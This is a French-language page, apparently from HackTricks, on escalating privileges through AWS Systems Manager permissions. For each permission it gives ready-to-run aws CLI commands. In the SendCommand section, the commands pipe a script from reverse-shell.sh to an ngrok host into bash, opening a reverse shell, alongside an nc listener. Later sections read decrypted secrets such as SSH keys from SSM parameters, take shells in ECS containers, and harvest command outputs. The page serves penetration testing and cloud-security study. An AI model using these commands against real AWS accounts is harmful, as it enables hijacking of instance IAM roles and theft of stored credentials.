AWS - SSM Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

SSM

Pour plus d'informations sur SSM, consultez :

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaquant ayant l'autorisation ssm:SendCommand peut exécuter des commandes dans des instances exécutant l'Agent Amazon SSM et compromettre le rôle IAM s'exécutant à l'intérieur.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Dans le cas où vous utilisez cette technique pour escalader les privilèges à l'intérieur d'une instance EC2 déjà compromise, vous pourriez simplement capturer le shell inversé localement avec :

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impact potentiel : Élévation de privilèges directe vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution.

ssm:StartSession

Un attaquant avec la permission ssm:StartSession peut démarrer une session similaire à SSH dans les instances exécutant l'Agent Amazon SSM et compromettre le rôle IAM s'exécutant à l'intérieur.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Pour démarrer une session, vous devez avoir installé le plugin SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impact potentiel : Élévation de privilèges directe vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM actifs.

Élévation de privilèges vers ECS

Lorsque les tâches ECS s'exécutent avec ExecuteCommand activé, les utilisateurs disposant des autorisations suffisantes peuvent utiliser ecs execute-command pour exécuter une commande à l'intérieur du conteneur. Selon la documentation, cela se fait en créant un canal sécurisé entre l'appareil que vous utilisez pour initier la commande "exec" et le conteneur cible avec SSM Session Manager. Par conséquent, les utilisateurs disposant de ssm:StartSession pourront obtenir un shell à l'intérieur des tâches ECS avec cette option activée en exécutant simplement :

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impact potentiel : Privilège d'escalade direct vers les rôles IAM ECS attachés aux tâches en cours avec ExecuteCommand activé.

ssm:ResumeSession

Un attaquant avec la permission ssm:ResumeSession peut reprendre une session de type SSH dans les instances exécutant l'Agent Amazon SSM avec un état de session SSM déconnecté et compromettre le rôle IAM s'exécutant à l'intérieur.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impact potentiel : Élévation de privilèges directe vers les rôles IAM EC2 attachés aux instances en cours d'exécution avec des agents SSM en cours d'exécution et des sessions déconnectées.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaquant avec les autorisations mentionnées pourra lister les paramètres SSM et les lire en clair. Dans ces paramètres, vous pouvez fréquemment trouver des informations sensibles telles que des clés SSH ou des clés API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impact potentiel : Trouver des informations sensibles à l'intérieur des paramètres.

ssm:ListCommands

Un attaquant avec cette autorisation peut lister toutes les commandes envoyées et espérons trouver des informations sensibles à leur sujet.

aws ssm list-commands

Impact potentiel : Trouver des informations sensibles à l'intérieur des lignes de commande.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaquant avec ces autorisations peut lister toutes les commandes envoyées et lire la sortie générée, en espérant trouver des informations sensibles à l'intérieur.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.

Codebuild

Vous pouvez également utiliser SSM pour accéder à un projet codebuild en cours de construction :

pageAWS - Codebuild Privesc
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour